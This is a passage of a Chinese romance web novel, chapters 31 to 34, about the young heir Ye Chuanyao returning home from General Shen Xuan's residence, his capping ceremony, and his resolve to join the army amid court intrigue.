“本应诡秘行事,却弄得人尽皆知,看似狂妄,实则是为造势,逼迫更多朝臣向之投靠。” “至于三皇子……” “此人心机深沉,锋芒不显,将军更要小心提防。” 他语气认真,眼底漆黑透亮, 专心思索的样子如同宝石一般闪闪发光。 沈翾垂眸笑笑,眼底似化开的春水,柔光潋滟。 “阿遥聪颖绝伦,沈某自愧不如。” 沈翾离他很近,那双威严冷冽的黑眸此刻温柔深邃,让人不禁沉沦。 被夸得有点不好意思,叶川遥语气羞涩道:“朝中局势将军自是心中了然,我也就是随口一说,让将军见笑了。” 沈翾浅笑,语气认真道:“我会小心。” “啊?”叶川遥微怔。 “我会谨记世子所言,小心行事,不让自己置于险境。”沈翾一字一句道。 叶川遥心中熨帖,睫毛轻轻眨了眨,嘴角快要压不住:“哦,那……那便好。” 皎白月色倾泻流淌,溢了满室流光。 回到府中,沈翾给叶川遥上了药,不许他随意走动。 又让厨房做了蜂蜜乳酪,直接端进房里。 “夜快深了,先少用些垫一垫。” “鸡汤已让他们用小火煨着,明早喝刚好。” 叶川遥嘴里含着热乎软糯的乳酪,欢声道:“谢谢翾哥哥。” 沈翾眸色一颤,没有接话。 叶川遥却忽地笑出声。 “笑什么?”沈翾不明所以。 叶川遥弯起好看的眉眼,娓娓道:“今日在宫宴上有人议论,说将军对我太过娇纵,连餐食都要送到卧房。” “现下倒是真应了那些话。” 沈翾轻笑,眉目染上一层柔色。 “世子从前在国公府养尊处优,在沈某这里自然也不能怠慢。” “若世子受了委屈,我如何同国公交待?” 叶川遥看着他,抿了抿唇,轻声问:“只是如此?” 沈翾眼底暗了暗,并未回答,只淡声道:“今日累了一天,早些休息。” 叶川遥却不想睡。 “我还不困,你再陪我说说话吧。” 明日他便要回家。 今夜,是他留在将军府的最后一晚。 与沈翾这样朝夕相对的日子,也许再也不会有了…… 沈翾顿了顿,末了应了声好。 叶川遥靠着凭几默默吃宵夜,沈翾则端坐在床边。 两人隔着不远不近的距离,一时谁都没有开口,却又好像彼此都说了许多话。 过了须臾,沈翾才慢条斯理道:“明日我陪你一同去接你父亲。” “好,”叶川遥轻轻应了声。 “回府后,有什么难处,可以随时来寻我。” “好……” “那……我先回房,你也早些休息。” “嗯……” 屋内安静下来,呼吸可闻。 沈翾嘴上说走,人却没动,眼底幽深看不出情绪。 许久后,才抬手将叶川遥身上的被子盖好,慢步出了卧房。 叶川遥躺于榻上,缓缓闭上眼,长叹一声。 长夜漫漫月无眠。 轻幔暗影,道不尽相思意。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 30-40 第31章 巳时, 六皇子府。 杜明轩垂首跪在季寒脚边,脸上焦急不安。 今夜杜迟被押入刑部,他得了信, 便立刻赶来求见季寒。 “殿下,犬子今日被那沈翾关进了刑部大牢,如今只有殿下能救他啊!” 季寒倚坐圆椅之上, 嘴里吃着点心,冷目漫不经心睨向跪在地上的人。 他未开口, 杜明轩也不敢催促, 只能低头焦灼地等着。 须臾后,季寒才幽声开口:“杜尚书。” “是, 殿下。”杜明轩虎躯一颤。 季寒手里捏着个酥酪, 弯腰看向脚边之人, 嗓音幽沉带笑。 “杜尚书说笑了, 令郎如此能耐,连世子和国公都不放在眼里, 又何需本王来救?” 杜明轩闻言忙俯下身,瑟瑟道:“犬子冒失, 一时意气才言语冲撞了世子, 并非有意为之啊!” “求殿下莫要怪罪, 饶了他这一回吧!” 季寒面无表情地将手中之物碾碎,抬手撒在杜明轩面前。 “你们算个什么东西, 也敢对世子不敬……” 他的语气不急不缓,却透着股阴鸷之气, 让人遍体生寒。 “殿下恕罪,下官回去一定好好教训这个不肖子!” 杜明轩战战兢兢地抹了把额头的汗,硬着头皮道: “不肖子冲撞世子确实该罚!” “可, 可刑部里如今都是沈翾的人,迟儿落在他们手里,只怕要吃尽苦头!” “求殿下看在下官对您一片衷心的份上,救救迟儿吧!” “哼,”季寒慢悠悠地站起身,不以为意道,“放心,沈翾不会真把他怎么样,左右不过关几天罢了。” “杜公子头脑不清楚,不如就让他待在刑部,好好冷静一下吧。” 杜明轩心疼儿子,可季寒如此说,他也不敢再纠缠,只得咬牙退下。 这个不肖子,招惹谁不好,偏偏招惹那叶川遥。 那可是六殿下和大将军心尖上的人。 他们哪得罪得起啊! 只盼着迟儿能吃一堑长一智,莫要再惹出事端。 * 天光破晓,暖阳初上,又是一日晨曦。 叶川遥早早起了床,换了一身新衣裳,而后将自己的物品一一整理好。 又从沈翾送他的兵书里挑了几本没来得及读完的,一并塞进箱子里。 一切收拾完毕,叶川遥独自在院中站了许久,才踏出云水阁的院门,朝紫云轩而去。 明烛还是热情如旧:“阿遥快来,尝尝这鸡汤!” 叶川遥看一眼沈翾,走过去笑着坐下,语气欢快道:“大家早啊!” “哇,这么多好吃的,那我不客气啦!” 陆清玖撇撇嘴:“说得好像你什么时候客气过。” 叶川遥嘿嘿一笑。 “玖儿!”锦夫人瞪他一眼,转头笑着看向叶川遥,“时辰还早,阿遥慢慢吃,不急。” “嗯,好。”叶川遥莞尔道。 沈翾没怎么说话,只是偶尔往叶川遥碗里夹些他平日里喜欢的菜。 叶川遥看着自己面前越摞越高的碟子,弯唇看向身侧:“将军,你这是喂兔子呢?” 沈翾动作一顿,淡笑一下,将筷子缓缓收回。 陆川玖边吃边看向叶川遥:“喂,听说你昨日被人欺负了?” “真弱!” 语气嫌弃道。 “看在表哥把你当朋友的份上,下次若是再有人找你麻烦,你告诉我,小爷替你教训他们!” “行了,有你什么事?”锦夫人轻斥道。 人家世子自有人护着,哪轮得到他? 叶川遥眉目染笑:“多谢陆公子好意。” “放心,以后没人能欺负我。” 陆川玖哼了声:“逞什么能。” “管好你自己得了,”锦夫人出声道,“你若有世子一半省心,我和你爹就谢天谢地了!” 陆清玖:“……” 算了,还是老老实实吃饭吧。 陆锦训完陆清玖,从口袋里拿出一方锦盒,放在叶川遥面前。 “阿遥,看看喜不喜欢?” 叶川遥圆目微睁,面露惊讶:“给我的?” “嗯,”锦夫人笑着催道,“快打开看看。” “哦,好。” 叶川遥小心翼翼地将锦盒打开。 精致华贵的锦盒内赫然躺着一枚上好的白玉簪。 通体温润无暇,光泽清透,细腻如凝脂。 一瞧就价值不菲。 锦夫人柔声道:“这枚白玉簪是我前几年偶然所得,乃稀世古玉雕刻而成,世间仅此一枚。” “阿遥倾城之貌,一定极衬你!” 叶川遥受宠若惊,忙道:“锦夫人,如此稀世珍宝,实在太过贵重,我哪里受得起!” “诶,跟姨母还客气什么?” 锦夫人轻笑,不以为意道:“姨母啊,别的没有,偏就银子多。” “听翾儿说你再过不久便要及冠,那时姨母大抵已不在京中。这个就当作提前送你的及冠礼,你只管收下便是!” 陆锦说完朝沈翾抬抬手,“翾儿,还不快给阿遥戴上试试!” 叶川遥张了张嘴:“我……” “别动。”带着蛊惑的嗓音缓缓落在耳边。 叶川遥半边身子瞬间一麻,便老老实实不敢再动。 沈翾抬手将簪子轻轻推进叶川遥发间,定睛看了一瞬。 公子如玉,果然极配。 “确实衬你。”他缓缓收回手,嗓音含笑道。 “收下吧,别拂了姨母一片心意。” 陆清玖是个急性子,看着这几人你一言我一语的,不耐烦道:“给你就拿着呗,哪那么矫情!” 叶川遥抬手摸了摸被沈翾触碰过的发冠,轻轻嗯了声:“那便谢过锦夫人了。” “哎,这就对了!”陆锦高兴地笑起来。 “真好看!” “这好东西啊,果然还是得配得上它的人,才能显出它的好来!” 叶川遥不好意思地弯了弯唇角,一双桃花眼含着明朗笑意,熠熠生辉。 他一个平庸之辈,究竟何德何能,竟能得大家如此偏爱。 他欠沈翾的,怕是这辈子也还不清了。 心头被暖意包围着。 叶川遥不自觉看向身旁之人,见他眉目间满是柔光,好似那深邃的眼底只余他一人。 那么于沈翾而言,他究竟是怎样的存在呢…… 恍惚之际,明烛开口道:“今日国公府解封,定有许多事要忙,我差些人过去,给你打下手。” 叶川遥笑着摆摆手:“不必劳烦,也不急于这一两日。府里还有些人,慢慢收拾就是。” 明烛想了想,点头道:“也好,那若有需要帮忙的尽管说,千万别跟我客气啊!” 叶川遥笑着道:“放心,定不会跟你客气。” 几人有说有笑地用完早膳。 锦夫人拉着陆清玖回自己院子,明烛则赶去兵马司处理公务。 屋内只剩沈翾和叶川遥二人。 “东西都收拾好了?”沈翾轻声问。 “嗯,收拾好了。” “不过东西有点多,还要劳烦将军派人替我送一趟了。” “好,”沈翾应下。 “还有将军送我的兵书,我想带一些回去,行吗?” “有喜欢的尽管去挑,改日我让人一并送到国公府。” “好,谢谢将军。”叶川遥莞尔。 沈翾顿了顿,低沉出声:“走吧,时辰快到了。” “好。”叶川遥闷声应道。 两人上了马车,一路无言。 叶川遥望着窗外,见山林树木已显郁葱,艳阳高悬,百花盛开。 转眼间,又是一年繁华盛夏。 凌舟和陈安早早便候在大理寺门口。 见自家少爷从马车上下来,两人一齐迎上去。 “少爷!” “凌舟,陈叔。”叶川遥笑着道。 沈翾自他身后翩然出现。 凌舟和陈安微怔一瞬,忙弯腰见礼:“见过大将军!” 他怎么也过来了? “不必多礼。”沈翾温声道。 陈安遂起身看向叶川遥:“少爷,今早府里解了封,我已让咱们府上的家丁先回去打扫。” “先把老爷和少爷的院子清理出来,旁的再慢慢收拾。” “好,辛苦陈叔了。”叶川遥道。 “父亲回来便好,旁的都不急于一时。” “少爷说得是。” 言谈间大理寺的大门缓缓打开,两名衙役带着叶青云出来。 “阿爹!” “老爷!” 几人一同跑过去。 看着苍老不少的父亲,叶川遥霎时红了眼,哽咽道:“阿爹受苦了。” 叶青云笑笑,脸上皱纹明显。 “阿爹没事,只是惦记你。如今看你安然无恙,阿爹也就安心了。” “我……” 叶川遥看向正站在不远处的沈翾,柔声道:“阿遥这些日子一直住在将军府,全仰仗大将军庇护,不曾吃过一点苦头。” 叶青云闻言愣了愣,随即了然地点点头。 他走到沈翾面前,拱手道:“多谢将军对阿遥的照顾,老夫无以为报。” 沈翾将人扶起,浅笑道:“你我之间何需说这些。” “如今国公平安归来,我心甚喜。” 叶青云点头笑笑:“好,等府里一切安顿好,老夫再请将军好好痛饮几杯!” “好。”沈翾笑着应道。 叶川遥扶起叶青云手臂:“走吧阿爹,咱们回家。” “好,回家!” 叶川遥看向沈翾,抿了抿唇,轻声道:“那阿遥先告辞了,将军保重。” 沈翾淡淡嗯了声,他站在原地,看着车影渐远,马蹄声渐消。 相见分别终有时,他早已习以为常。 不过…… 事在人为,来日方长。 第32章 风卷闲云, 繁花似锦。 家丁们忙成一团,来来往往笑语不绝,惊起莺啼虫鸣阵阵。 叶川遥踏入家门, 望着熟悉的院落,百感交集。 两世相隔,未曾想, 他还能再回来这里。 父亲,家, 都依旧还在。 真好。 下人们已将前厅打扫干净, 一切布置同从前一般无二。 叶青云进了屋,环视片刻, 长叹一声道:“没想到, 我叶青云还能活着回来, 卫国公府亦门楣犹在!” 叶川遥心中也五味陈杂, 多日来的提心吊胆总算能暂且放下。 他为父亲倒了茶,柔声道:“阿爹此番逢凶化吉, 日后咱们卫国公府必定会顺风顺水,平平安安。” 叶青云笑着点点头:“说得对, 如今否极泰来, 该高兴!” 他说完看向自己儿子:“阿遥, 你说这段时日你都住在将军府,这究竟是怎么一回事?” “快给为父讲讲, 到底都发生了什么?” 叶川遥有些僵硬地扯了扯嘴角,缓缓道:“阿爹那日被大理寺带走后, 国公府便被查封,我只好带着家里人去庄子上……” 他将事情的经过一五一十、仔仔细细地说了一遍。 叶青云听完后大为震惊,感慨万千。 许久后, 点点头,叹声道:“将军果然是重情重义之人。” “若不是将军出手相救,为父恐怕难逃此劫。我叶青云何德何能,竟得将军如此厚待!” “如此大恩,何以为报?” 叶川遥莞尔:“将军大义,自然不忍奸人当道,忠臣蒙冤。不过……” “父亲说的对,如此大恩,确实要还。 至于怎么还,他自然有他的法子。 叶青云思忖着点点头:“无妨,也不急于一时,日后我国公府慢慢报答将军便是。” “只是……” “如今你二人的流言如此之甚,该如何消除?” 叶川遥扯了扯嘴角,无所谓道:“随它去吧。” 叶青云深深地看向自己儿子,顿了顿道:“阿遥,这段日子你住在将军府,与大将军接触可多?” 叶川遥垂眸笑笑,曾经过往在脑中一一闪过。 想起沈翾淡笑的眉眼,他不自觉轻笑道:“将军待我很好,不光给了我容身之所,还指点我武艺,教我处世之道。” “我与他……” “所思所想,甚是投缘。” 叶青云神色不明地点点头,又问:“那你对他……” 叶川遥往父亲身边靠了靠,嬉皮笑脸道:“爹,若是让您这位忘年之交给您做儿媳妇,您可愿意?” “这……” 叶青云险些被这话惊到,眼睛瞪了瞪,道,“休要胡说!” “大将军岂是你能胡乱编排的?” “先前你自作主张,散播那些流言勉强可算权宜之计,如今危机解除,怎可再损将军威名?” “哎呀,您就说愿意不愿意吧?”叶川遥眨眨眼,俏皮道。 “这……我……” 这哪是他敢想的! 叶青云支支吾吾张了张嘴,高声道:“有什么愿意不愿意,大将军若真要娶你,你爹我又能有什么法子?” “咱们又斗不过人家!” 叶川遥:“……” “爹,您能有点骨气吗?” “哦,您这意思是,只要是您斗不过的人,您就得乖乖把我送出去?” “那若是我不喜欢的人呢?若季寒执意要我给他做侧妃,您也把我交出去?” “胡说,那自然不行!”叶青云暴跳如雷,“我叶青云的儿子,岂能给他人做妾!” “且那季寒阴狠毒辣,陷害忠良,我就算拼了这条老命,也绝不会让他动我儿分毫!” 叶川遥笑笑:“看吧,所以还是沈翾最好,您说对吗?” 叶青云:“……” 他虽素来欣赏沈翾的人品和才干,观点和政见上也与他颇为投缘,但若让沈翾喊他岳丈…… 他怕是得厥过去。 叶青云打量自己儿子须臾,沉声问:“阿遥,你同爹说实话,你对沈翾,是真动了心思吗?” 叶川遥有事从来不会瞒他,可这次却并未作答,只轻笑道:“好了,不说这个。” “阿爹您先回房好好歇息,我去外面帮忙啦!” 说完小跑着出去,只留清脆嗓音在屋内轻轻回荡。 “这孩子!”叶青云摇头轻笑。 他端起茶盏饮了口茶,方觉安定下来,可心里又泛起隐隐担忧。 沈翾对阿遥如此照顾,又任由流言泛滥,究竟是何用意? 阿遥这个傻小子,平日里那般聪明机灵,怎么偏偏在感情上一根筋? 若修不成正果,日后怕是要有的伤心。 叶青云一声长叹,也罢,年轻人自有年轻人的造化,便随他去吧。 入夜,卫国公府灯火通明,热闹非常。 叶青山一家三口也回到府中,一家子围在一起,终于能安定地吃一顿团圆饭。 “父亲,叔父,你们受苦了,阿遥敬你们!” 叶青山慈祥笑道:“好孩子,你也受苦了,多亏了你,我和你爹才能平安回家。” “我们阿遥已长大,能独当一面了。” 叶青云欣慰地点点头:“阿遥,再过几日便是你的及冠礼,可有什么想要的?” 叶川遥笑着摇头:“我什么都不缺。爹爹和叔父平安回来,咱们一家人能够重新团聚,阿遥如今已经很满足了。” “及冠乃男子的人生大事,合该好好操办一番。”叶青山道,“这件事就交给我和你婶婶,定为你办一场终身难忘的及冠礼!” “多谢叔父,”叶川遥笑笑,“叔父不必大肆操办,到时只邀请三五好友,来替阿遥做个见证便足矣。” 叶青山若有所思地点点头:“也好,此番逢难,我也算看清了许多事。” “患难见人心,泛泛之交无需费心经营,真心待我者亦不必刻意恭维。” “与人相交,在于本心,只要诚心相待,哪怕一人足矣。” 这话说到了叶川遥的心坎上。 见过了假意逢迎,方才知真心可贵。 知道叔父这段时日四处联络,受尽白眼折辱,叶川遥宽慰道:“叔父受苦了。” “诶,无妨,看清了人心也算好事一桩。”叶青山不以为意道。 叶青云向来顺着儿子的心意,叶川遥既如此说,他自然无有不应。 夜渐渐深了,一家人在一起说了会话,随后叶川遥将父亲送回卧房。 叶青云将人留下:“阿遥,坐下,为父还有几句话想同你说。” “好。”叶川遥在榻前坐下:“阿爹想说什么?” “我此前同你说的,及冠后去御史台参加遴选之事,你作何打算?” 叶川遥想了想,眼底闪过微微银光,清声道:“爹,我不想去。” “为何?”叶青云蹙眉问。 “我不想做文官。”叶川遥看向父亲,眸光熠熠,坚定而炙热。 “我想入军营,执剑守疆,护国泰民安。” “你想从军?”叶青云颇感意外。 他向来知道自己儿子胸有丘壑,纵然京中盛传卫国公世子养尊处优,娇弱矜贵,但他清楚,阿遥心中是有大志向的。 只是没想到,竟是如此。 “我朝向来重文轻武,我叶家三代又皆文官出身,你却为何偏偏想要从军?” 叶青云思忖片刻,猜测道:“是因为沈翾?” “也不全是,”叶川遥站起身,踱步慢道,“大将军为国为民,殚精竭虑,阿遥自是钦佩。” “但我心之所向,本就是驰骋疆场,运筹帷幄。” 叶青云看着自己的宝贝儿子,一时间既欣慰又神伤。 阿遥是真的长大了,早已不是那个哭着要他抱的孩童了。 他思忖着儿子的话,沉声道:“近些年边境时有动乱。阿爹不求你封侯拜相,只求你安安稳稳度过一生。” “我儿饱读诗书,一个七品御史之职,虽有些屈才,但只要用心,自会步步高升。” “待为父去了,再承袭爵位,何愁不能一世无忧,何必非要刀尖搏命,戎马一生?” 叶青云嗓音发颤,关爱和担忧溢出眼底。 叶川遥心里一疼,顿了顿,还是道:“爹,如今您还看不明白吗?” “文官又如何,承爵又如何?您一生忠君爱国,到头来还不是遭奸人陷害?” “陛下一心求仙问道,无心朝政,如今只想让自己最疼爱的六皇子即位。大盛未来如何,百姓如何,他根本不在乎!” “六部各怪鬼胎,朝中早已腐败不堪,北边还有北渊虎视眈眈。若国之将灭,又何来安稳?” 叶青云低头不语,眼底幽深复杂。 这些话不无道理,可作为一个父亲,他只想让自己的儿子留在自己身边,能够时刻得以相见,平平安安。 可若逼阿遥做他不喜欢的事,他又于心不忍。 “容为父再好好想想,你先回吧。” 叶川遥嗯了声:“那阿爹好好歇息。” * 红莲争艳,碧草连天。 卫国公府今日热闹非常,家仆们忙里忙外,喜气洋洋。 陈安在院子里指挥着:“小心点,别碰坏了!” “那边的花开得不好,快换一盆!” “去看看,世子可收拾妥当了?” 正说着,叶川遥从自己院子出来,往前厅而去。 今日是叶川遥的加冠礼,邀请的宾客不多,来得都是与叶家交好之人。 叶川遥随父亲一同站在院中迎客。 没多久,季岩手执折扇,翩翩而至:“恭喜世子!” “多谢殿下。”叶川遥笑道。 季岩往他身旁凑了凑:“今日过后,世子便可以娶亲啦!” 叶川遥轻扯嘴角:“我能做的可多了!” “殿下里面请。” 季岩笑笑,先朝里面而去。 宾客到得差不多,叶川遥时不时望向门口,有些心不在焉。 直到听到一声高喊。 “大将军到!” 叶川遥双眸一亮,目光穿过人来人往,落在玉树临风之人身上。 他笑着跑过去,欣喜地唤了声:“将军,别来无恙!” 第33章 溪流清浅, 自廊下蜿蜒而过,平添一抹清凉。 院中人头攒动,笑声祝贺声不断。 叶川遥同沈翾相对而立, 周身嘈杂隔绝,目光所及只余眼前一人。 沈翾的视线在叶川遥脸上停留片刻,双唇微弯, 眼底溢满柔光:“恭喜世子。” “从此天地辽阔,大有可为。” “多谢将军赏光!”叶川遥开怀一笑。 他朝沈翾身后瞧了瞧:“怎的不见明烛?” 沈翾抬手递上一方锦盒:“军中有急事, 明烛不便前来。这是他托我送给世子的贺礼。” 叶川遥从他手中将东西接过, 桃花眼灼灼生辉:“那将军呢?给我准备了什么礼物?” 沈翾勾了勾唇,抬手吩咐身后侍卫将礼物呈上。 “这么多?” 叶川遥望着侍卫手中的几个大箱子, 瞪大眼震惊道。 周围响起一阵议论声。 叶川遥看向沈翾, 心底暗流涌动。 如今事情已了, 沈翾大可以同他减少来往, 让流言自行散去。 可今日却依旧如此高调行事,究竟是在想些什么…… 他眨眨眼, 向前一步轻声问:“将军,你是来帮我撑场子的吗?” 沈翾笑着应声:“嗯, 给你撑场子。” 叶川遥感恩地点点头:“不过这是不是……太过隆重了些?” 沈翾负手而立, 一本正经道:“今日是世子的大日子, 理应如此。” 叶川遥被这句话哄得心里高兴,眼尾轻轻上扬:“那便多谢将军了!” 沈翾欣然一笑, 朝院中环视一圈,见一切井然有序, 同从前一般无二。 “这几日府中一切可好?” “一切都好。”叶川遥肯定道,“只是有些想念将军府的酥酪。” 沈翾便道:“那明日我差人给你送些来。” “好!”叶川遥自然高兴。 叶青云站在不远外,瞧见沈翾后忙迎上去。 “将军, 别来无恙啊!” “国公爷。”沈翾朝叶青云行过常礼,笑容温和道:“恭喜。” 叶青云微微一愣,随即脸上堆满笑:“多谢将军前来观礼,来,里面请!” “走吧,我带你进去!”叶川遥侧身看向沈翾,欢声道。 “好。”沈翾笑着应下。 叶青云看着两人并排而行的背影,默默叹了口气。 真是儿大不中留啊! 吉时到,叶川遥跪于堂前,昂首端身,目光如炬。 叶青云看着他,鼻尖一酸,心头感慨万千。 在他心里,阿遥好似还是那个总是跟在他身后,要他抱要他陪的鬼灵精。 聪明伶俐,可爱得紧。 可白驹过隙,不知何时,他视若珍宝的儿子已长大成人。 曾经意气风发的少年郎,如今已长成风光霁月的端方公子。 他阿娘在天有灵,终于可以安心了。 叶青云压下眼中泪意,缓缓将手中玉冠戴在叶川遥乌黑的发髻上。 “今尔成人,望吾儿恪守本心,居安思危,此后驰骋天地,不负此生!” “谢父亲。”叶川遥颔首作礼,恭敬道。 叶青云欣慰一笑,语气慈爱:“为父之前答应,让你自己取表字,可想好了?” “想好了,”叶川遥抬起头,嗓音清澈道,“阿遥不才,取字长翎。” “长翎……” 叶青云点点头,思索道:“坚韧不拔,翱翔九天。好字,好字!” 周围响起恭贺声:“恭喜世子!恭喜国公!” 公子无双,璀璨夺目。 叶川遥长身而立,于人声鼎沸中望向沈翾。 而沈翾的目光从方才起便始终停留在他身上。 二人相视一笑,眼底盛满柔光。 筵席过后,宾客相继离去。 叶青云独将沈翾留下,几人前往正厅一叙。 叶青云和沈翾相对而坐,叶川遥站在父亲身边,不由自主看向对面的人。 婢女将茶奉上,随即退下,只留他们三人在屋内。 叶青云起身朝沈翾鞠了一躬,郑重道:“多谢将军此次仗义相救,将军大恩,老夫实在不知该如何报答!” “国公快请起。”沈翾将人扶起,温和道:“我与国公相识多年,若袖手旁观,岂不辜负国公爷这些年的好茶?” “这段时日,我可十分想念国公的手艺。” “哈哈哈你啊,”叶青云畅笑几声,嗓音浑厚道,“好,老夫这就为你再沏一壶你最爱的西湖龙井!” 沈翾略一颔首:“好,那沈某就却之不恭了。” 叶青云一边沏茶,一边笑道:“在牢中这段时日甚是乏闷,便总是想起从前和将军下棋喝茶的日子。” 沈翾低笑,眉眼平和,不似平日那般冷肃刻板。 “那往后我便常来叨扰,国公可莫要厌烦沈某。” “诶,怎会厌烦!将军愿意来,国公府的大门便时时为你敞开着!” 叶川遥站在一旁,百无聊赖地看着二人相谈甚欢。 他是不是有点多余? 叶川遥轻叹一声,想起从前沈翾来府里的场景。 那应该是……四年前吧。 他在诗会上听了件趣事,一回府便想着说予父亲听,却被陈安拦在茶室外。 “谁在里面?这么大排场,连我都不能进?” “是大将军在跟老爷下棋。”陈安笑道:“老爷难得遇见对手,刚输了一盘,这会正较着劲呢。” “咱们别扰了他老人家的兴致。” “真的?”叶川遥有些不信。 他的棋是父亲手把手教的,却一次也没赢过父亲。 这个沈翾,棋艺当真如此厉害? 叶川遥不服气地探头朝里面望去,只瞥见半张侧脸和一身玄色衣袍。 这个大将军,和传闻中的不大一样嘛? 哪里像罗刹了,明明就是个俊逸公子…… 不多时茶香四溢。 “阿遥,给将军奉茶。” “阿遥……” 叶川遥恍然回神,随口应了声,上前将茶端给沈翾。 乖顺道:“将军请用茶。” 沈翾抬手接过,看着他道:“世子也坐吧。” “哦,好。”叶川遥转了个身,便在沈翾身旁翩然落坐。 端的自然坦荡。 叶青云:“……” 儿大不中留啊! 叶川遥撑着下巴,看着沈翾问:“将军,我取的字可还好听?” 沈翾端着茶,轻品一口,眼中浮起隐隐柔光,清声道:“甚好。” 叶川遥闻言莞尔一笑。 又问:“说起来,我还不知道将军的字呢?将军的表字是什么?” “阿遥,不得无礼。”叶青云沉声开口。 “将军的字岂是你能叫的?” “无妨,”沈翾看向身旁之人,一字一顿道,“沈翾,字怀清。” “沈怀清……”叶川遥将这几个字在口中重复一遍,眉眼弯弯道,“人如其名,当真是好名字!” 沈翾轻笑,嗓音温润道:“多谢世子夸赞。” “不必客气!” “……” 叶青云清咳一声,正色道:“近来朝中动荡,将军可要多加小心才是。” “放心,我会小心行事。”沈翾道,“国公往后有何打算?” 叶青云道:“我本不愿介入储位之争,可他季寒害我至此,老夫不能再任人欺凌。” “只是如今户部都是季寒的人,还需从长计议。” 沈翾沉声道:“储位之争如今愈演愈烈,季寒此人阴狠狡诈,国公切勿轻举妄动。” 叶青云点点头:“多亏将军,老夫这次才逃过一劫。” “但只怕季寒一党不会就此善罢甘休。” 他看向沈翾,严肃道:“老夫有一个不情之请,不知将军可否成全?” “国公但说无妨。” 叶青云看了自己儿子一眼,缓缓道:“我原本想让阿遥及冠之后,便去御史台谋个御史之职。” “以他的才华,用不了几年,定能闯出一片天地。” 沈翾对这话颇为赞同:“周印此人刚正不阿,不逢迎谄媚,亦不见风使舵。” “虽有时太过古板了些不,但确实不失为一个好去处。” 叶青云叹声道:“可阿遥他偏偏对官场无意,一心想要从军。” 沈翾看向叶川遥,略感意外。 忽地想起叶川遥当日所言。 “试问哪个好男儿不想驰骋疆场,大杀四方……” “文官纵然安稳,但如今天下割据,分崩离析,礼义仁善又有何用?” “唯有同将军这般纵马执剑,才能护我大盛海晏河清!” 原以为那时的话不过随口之言,没想到竟是真的。 沈翾低头轻笑一声,说不清心中是何种感觉。 君子鸿鹄之志,当长风破浪,扶摇千里。 原来也有人同他一样。 叶青云继续道:“既是从军,我便想着,若把他放在将军手下,我也能放心些。” “只是不知会不会给将军徒增烦扰?” 叶川遥闻言蹭地站起身,黑眸一亮,激动道:“爹,您同意我从军?” “不同意又能怎么样?”叶青云语气无奈,带着几分轻嗔,“我不让你去,你会听我的吗?” “你爹我什么时候犟过你?” 叶川遥眯着眼笑:“谢谢阿爹!” 沈翾思忖片刻,沉声道:“此事不难。只是……” “世子,你当真已经想好?” “一但从了军,你的仕途便从此葬送。你的才智在军中也很可能并无用武之地。若无军功,也许一辈子都出不了头。” “世子真要选这条如此艰险之路?” 叶川遥看着他,眼神坚定如磐石。 “我自己选的路,就算满地荆棘,刀剑丛生,我也会坚定地走下去。” “就如将军当初一般。” “况且,”他轻笑一声,朝沈翾身旁凑近几分,莞尔道:“有将军在,我便什么都不怕。” 刀山火海,我陪你走一遭便是。 第34章 叶川遥的话让沈翾不禁动容。 他向来自诩果断, 唯独这次,心中竟生出诸多顾虑,也开始变得犹豫不决起来。 所谓关心则乱, 原来如此。 虽不忍世子吃苦受累,直面凶险,但沈翾也知道, 自己不该看轻了他。 世子有鸿鹄之志,那便助他得偿所愿, 又有何妨? 左右小心护着便是。 思及此, 沈翾心头豁然开朗。 思量一瞬道:“那便让世子先从中军,入杨护军手下历练。” 中军共五万, 平日在京郊驻扎, 承护卫京城之责, 一但京中有异动, 便可凭虎符即行调动。 叶青云思忖着点点头:“中军各部皆乃精锐,的确是个好去处。” “如此甚好。” 叶川遥对中军的了解不多。 只知自三年前, 沈翾掌管中军以来,这只大军的实力便日渐雄厚。 平叛乱、除流寇, 为百姓所称道。 京中如今一切太平, 很大程度上得益于中军。 如今能加入这样的大军, 和一群最忠勇的将士一同并肩作战,叶川遥自然高兴。 “那就多谢将军了!” 这事遂这样敲定下来。 叶青云点点头, 如释重负:“那往后,这小子可就拜托将军了!” “他若是惹了祸, 将军不必姑息,尽管狠狠教训!” 沈翾看一眼身旁芝兰玉树之人,笑着问:“我若罚他, 国公不心疼?” 叶青云哼道:“心疼也得忍着。他自己选的路,打碎牙也得给我往肚子里咽!” 叶川遥:“……” 能不能盼他点好! 叶川遥无奈轻笑,忍不住反驳:“放心吧,我才不会惹祸,您就等我给您立几个军功回来,光耀门楣!” “嗯,那最好不过!”叶青云笑道,“可别到时候受了苦,回来哭鼻子!” “阿爹!”叶川遥嗔道,“那都是小时候,我如今都多大了,怎么可能还哭鼻子?” “将军在这呢,您也不给我留点面子……” “哈哈哈哈……” “好好好,阿爹不说了,给你留点颜面!” 沈翾看着父子俩你一言我一语地笑闹着,眼底也随之溢出一缕柔光。 这世上大多的父子,平日里大抵也都是这般相处的吧…… 最平常的温情,却最难得。 他将心头情绪挥散开,轻笑道:“国公放心,沈翾定不负国公所托。” “好,那我便放心了。” 叶青云笑着看了眼自己儿子,站起身道:“我还有些事,就不奉陪了,将军请自便。” “改日咱们再好好对弈几回!” “好,”沈翾起身相送,“国公慢走。” “阿爹慢走!” 门开又阖,转眼间屋内只剩叶川遥和沈翾两人。 空气中暗流涌动,透着股莫名的旖旎。 一时竟然不知该说些什么。 倒是沈翾先开了口:“过几日便是沐兰节,等节过了再去军中吧。” “嗯,也好。”叶川遥笑笑,“那听将军的!” 两人再次沉默下来。 叶川遥睨了沈翾一眼,舔了舔唇,轻声道:“那个……” “将军,我成年了。” 沈翾嗯了声,看过去,不明所以。 “成年了,便可以娶亲了……” 沈翾握着茶盏的手指微滞,眼神晦暗不明,淡笑着幽声问:“世子这是……看上哪家的千金,急着娶亲了?” 叶川遥直视着面前的人,脸色微红似有些羞稔,却并无退意。 清了清嗓子,喃喃道:“不娶亲,嫁人也不是不行……” 沈翾呼吸一滞,向来荣辱不惊的眼底此刻也不禁波动。 他虽未经情事,但也不是愚钝之人。 叶川遥几次三番的试探他都了然于心,自然做不到无动于衷。 多年来的泰然自若也早已如山崩,如潮涌。 只是…… 如今储位之争愈演愈烈,皇帝和未来的储君大抵都容不下他。 他若凭一己私欲把阿遥拖进这漩涡里,稍有不慎便是万劫不复…… 沈翾看向叶川遥,眼底沉了沉,淡声道:“世子既要从军,娶亲之事怕是还要再耽搁两年。” 叶川遥:“……” 这个木头。 行吧,也习惯了。 他在沈翾面前晃晃悠悠地绕了几步,亮着双眼问:“将军平日里可会去中军巡查?” 沈翾端起茶杯,藏起眼底幽色,温声道:“只偶尔去。” 